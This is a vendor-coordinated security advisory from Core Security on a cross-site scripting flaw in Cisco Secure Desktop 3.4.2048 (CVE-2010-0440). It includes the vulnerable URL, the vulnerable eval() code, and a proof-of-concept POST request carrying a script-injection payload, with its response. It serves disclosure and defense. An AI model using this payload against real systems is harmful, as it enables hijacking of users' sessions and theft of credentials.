Cisco Secure Desktop XSS/JavaScript Injection

1. Advisory Information

Title: Cisco Secure Desktop XSS/JavaScript Injection
Advisory Id: CORE-2010-0106
Advisory URL: http://www.coresecurity.com/core-labs/advisories/cisco-secure-desktop-xss
Date published: 2010-02-01
Date of last update: 2010-02-01
Vendors contacted: Cisco
Release mode: Coordinated release

2. Vulnerability Information

Class: Cross site scripting [CWE-79]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 37960
CVE Name: CVE-2010-0440

3. Vulnerability Description

The Cisco Secure Desktop web application does not sufficiently verify if a well-formed request was provided by the user who submitted the POST request, resulting in a cross-site scripting vulnerability.

In order to be able to sucessfully make the attack, the Secure Desktop application on the Cisco Appliance must be turned on.

4. Vulnerable packages

  • Cisco Secure Desktop 3.4.2048
  • Older versions are probably affected too, but they were not checked.

5. Non-vulnerable packages

  • Cisco Secure Desktop 3.5.841

6. Vendor Information, Solutions and Workarounds

Cisco Security Alert: http://tools.cisco.com/security/center/viewAlert.x?alertId=19843

7. Credits

This vulnerability was discovered and researched by Matias Pablo Brutti from Core Security Technologies.

The publication of this advisory was coordinated by Jorge Lucangeli Obes from Core Security Technologies Advisories Team.

8. Technical Description / Proof of Concept Code

Cross-site scripting (XSS) vulnerabilities allow an attacker to execute arbitrary scripting code in the context of the user browser (in the vulnerable application's domain). For example, an attacker could exploit an XSS vulnerability to steal user cookies (and then impersonate the legitimate user) or fake a page requesting information to the user (i.e.: credentials). This vulnerability occurs when user-supplied data is displayed without encoding.

The Cisco Secure Desktop web application does not sufficiently verify if a well-formed request was provided by the user who submitted the POST request. The cross-site scripting vulnerability was found in the following file/url:

https://{IP}//+CSCOT+/translation?textdomain=csd&prefix=trans&lang=en-us 

Using the POST variable:

Starting, please wait..."><script>alert(1);</script> 

The content of the POST field is not being encoded at the time of using them in HTML output, therefore allowing an attacker who controls their content to insert JavaScript code. Furthermore, we could possibly inject JavaScript code into the start.html page because the content of the previously mentioned POST is used in binary/mainv.js as input for an eval() function, hence allowing an attacker to inject any code without restrictions which will be executed in the context of the eval() function:

282 http_request.open('POST', path, false); 283 http_request.send(msgs); 284 var trans = new Array(); 
285 try { 286 eval(http_request.responseText); 287 } catch (e) {} 

8.1. Proof of Concept

REQUEST: POST https://{IP}/+CSCOT+/translation?textdomain=csd&prefix=trans&lang=en-us HTTP/1.1 
Host: {IP} User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 
Firefox/3.0 (.NET CLR 3.5.30729) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*
/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-
1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://{IP}/CACHE/sdesktop
/install/start.htm Content-Type: application/xml; charset=UTF-8 Cookie: webvpnLang=en-us; 
webvpnlogin=1 Pragma: no-cache Cache-Control: no-cache Content-Length: 56 Starting, please 
wait..."><script>alert(1);</script> RESPONSE: HTTP/1.1 200 OK Server: Cisco AWARE 2.0 Content
-Type: text/html; charset=UTF-8 Cache-Control: no-cache Pragma: no-cache Connection: Keep-Alive 
Date: Mon, 16 Nov 2009 14:14:07 GMT Content-Length: 122 trans["Starting, please wait...\">
<script>alert(1);</script>"] = "Starting, please wait...\"><script>alert(1);</script>"; 

9. Report Timeline

  • 2010-01-12: Vendor contacted.
  • 2010-01-12: Cisco replies, saying that it will investigate the report.
  • 2010-01-12: Cisco tentatively acknowledges the February 5th release date.
  • 2010-01-13: Core replies, reassuring that the release date can be moved if Cisco can't meet it.
  • 2010-01-13: Cisco updates, pointing to a beta version of Cisco Secure Desktop that contains a fix for the vulnerability.
  • 2010-01-13: Cisco describes the fix and the non-vulnerable versions of the package.
  • 2010-01-14: Cisco confirms the February 5th release date.
  • 2010-01-14: Core acknowledges this release date.
  • 2010-01-25: Core asks for clarification on the non-vulnerable versions of the package.
  • 2010-01-25: Cisco replies with the non-vulnerable version of Cisco Secure Desktop.
  • 2010-01-26: Given that the non-vulnerable version of Cisco Secure Desktop has already been released, Core requests to move the release date forward, to February 1st.
  • 2010-01-26: Cisco agrees to move the release date forward.
  • 2010-02-01: The advisory CORE-2010-0106 is published.

10. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs.

11. About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Core Security Technologies can be reached at https://www.coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2010 Core Security Technologies and (c) 2010 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team.